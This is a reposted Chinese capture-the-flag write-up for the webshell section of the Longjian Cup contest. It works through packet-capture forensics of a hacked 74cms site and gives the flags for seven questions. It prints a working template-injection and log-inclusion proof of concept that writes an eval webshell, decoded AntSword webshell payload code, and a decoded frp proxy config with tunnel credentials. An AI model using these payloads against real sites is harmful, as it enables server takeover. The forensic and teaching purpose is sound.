全網最新最全首屆“隴劍杯”網絡安全大賽完整WIRTEUP --- webshell(7題)


題目描述

單位網站被黑客掛馬,請您從流量中分析出webshell,進行回答:
 
3.1   黑客登錄系統使用的密碼是_____________。
wp:登錄系統一般是使用的是post表單的方式,使用顯示過濾器過濾post

 第一個包就是提交的密碼

或者直接搜索 password

wp:

Admin123!@#

 

3.2  黑客修改了一個日志文件,文件的絕對路徑為_____________。(請確認絕對路徑后再提交)

 wp:

絕對路徑的話有兩個部分組成,一個是網站根目錄,另一個是相對路徑

導出HTTP對象,一個個找,在index(34).php%3fm=home&a=assign_resume_tpl文件中發現了含有phpinfo()頁面的東西

將其后綴變更為.html用瀏覽器打開,先查找網站根路徑為/var/www/html

 

在PHP變量中查找.log后綴的日志文件,路徑為data/Runtime/Logs/Home/21_08_07.log,兩個拼起來就是答案

 

 

 

 3.3  黑客獲取webshell之后,權限是______?

 wp:

說到權限,黑客可能會執行whoami命令,我們全局搜索whoami

找到第317號數據請求包中包含 whoami命令,第319號響應包中包含結果

 

flag:

www-data

 

 

 3.4  黑客寫入的webshell文件名是_____________。(請提交帶有文件后綴的文件名,例如x.txt)

wp:

我們導出所有的http對象,分析后得知 1.php文件就是黑客掛的木馬

flag:

1.php

 

3.5  黑客上傳的代理工具客戶端名字是_____________。(如有字母請全部使用小寫)

wp:

我們導出所有的http對象,分析后得知 1.php文件就是黑客掛的木馬, 1(51).php就是查看上傳后的木馬文件目錄,

 

 frpc就是袋里客戶端

flag:

frpc

 

3.6  黑客代理工具的回連服務端IP是_____________。

wp:

我們導出所有的http對象,分析后得知 1.php文件就是黑客掛的木馬, 1(6).php就是上傳的袋里配置文件

 

 

該流量特征是蟻劍的數據流,數據放在hex中

5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A

用hex-》ascii解碼后

[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv

[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

flag:

192.168.239.123

 

3.7  黑客的socks5的連接賬號、密碼是______。(中間使用#號隔開,例如admin#passwd)

wp:

在上個題目中已經解出,

plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp

flag:

0HDFt16cLQJ#JTN276Gp

 

 

 

 

題目打完了,但是黑客到底是如何getshell的還是不清楚。我們繼續分析。該網站使用了騎士cms系統,網絡搜索后發現該系統存在模板注入和 文件包含l漏洞,聯合起來就能達到getshell

參考鏈接  https://www.cnblogs.com/twlr/p/14142870.html

注入點

  1、注入模板

發送poc:
        http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl
        POST:
        variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企業id="$_GET['id']"/>

 

2、文件包含

發送poc:
        http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl
        POST:
        variable=1&tpl=data/Runtime/Logs/Home/20_12_15.log(日志文件名為日期)

 

 知道了注入點,我們在數據包中搜索 assign_resume_tpl

 

315號包就是模板注入,317就是文件包含,黑客注入了一句話木馬。

命令執行成功后會在下一個數據包的下圖未知顯示結果,whoami執行后返回www-data

在332號將一句話木馬寫入1.php文件中,如下圖所示

 然后利用木馬文件,使用蟻劍客戶端連接了服務器的漏洞,打開第337號包,蟻劍在連接傳輸的php代碼片段就是蟻劍的特征,

 

 具體如下

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "bc"."0f2";
	echo @asenc($output);
	echo "f797e"."322e0";
}
ob_start();
try {
	$D=dirname($_SERVER["SCRIPT_FILENAME"]);
	if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
	$R="{$D}	";
	if(substr($D,0,1)!="/") {
		foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
	} else {
		$R.="/";
	}
	$R.="	";
	$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
	$s=($u)?$u["name"]:@get_current_user();
	$R.=php_uname();
	$R.="	{$s}";
	echo $R;
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

 

第343號包中的內容

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "28"."f72";
	echo @asenc($output);
	echo "f486"."11f4";
}
ob_start();
try {
	$f=base64_decode(substr($_POST["j68071301598f"],2)); #post提交的j68071301598f的內容,也就是文件路徑+名稱,去掉前兩位在base64解碼,得到/var/www/html/frpc.ini,這里為什么要去除前兩個字符,原因是防止base64解碼,達到免殺或者混淆的目的
	$c=$_POST["xa5d606e67883a"]; ##post提交的j68071301598f的內容,也就是文件內容。
	$c=str_replace("\r","",$c); #/r替換為空
	$c=str_replace("\n","",$c);#/n替換為空
	$buf="";
	for ($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));#每兩個字符去除兩個
	echo(@fwrite(fopen($f,"a"),$buf)?"1":"0"); #從buf寫到/var/www/html/frpc.ini
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();



Form item: "j68071301598f" = "FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ=="
Form item: "xa5d606e67883a" = "5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A7479706520

目的就是往/var/www/html/frpc.ini寫文件

 按照相同方法解碼之后的數據包 

分析得到 之后使用蟻劍上傳兩個文件,frpc和frpc.ini,這兩個文件都是內網穿透工具

 最終文件有如圖下所示

 

我們在總結一下

黑客使用密碼登錄了騎士cms系統到后台,利用模板注入和文件包含獲取到了webshell,利用蟻劍連接webshell上傳了兩個袋里文件

 

 

 

 

 

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM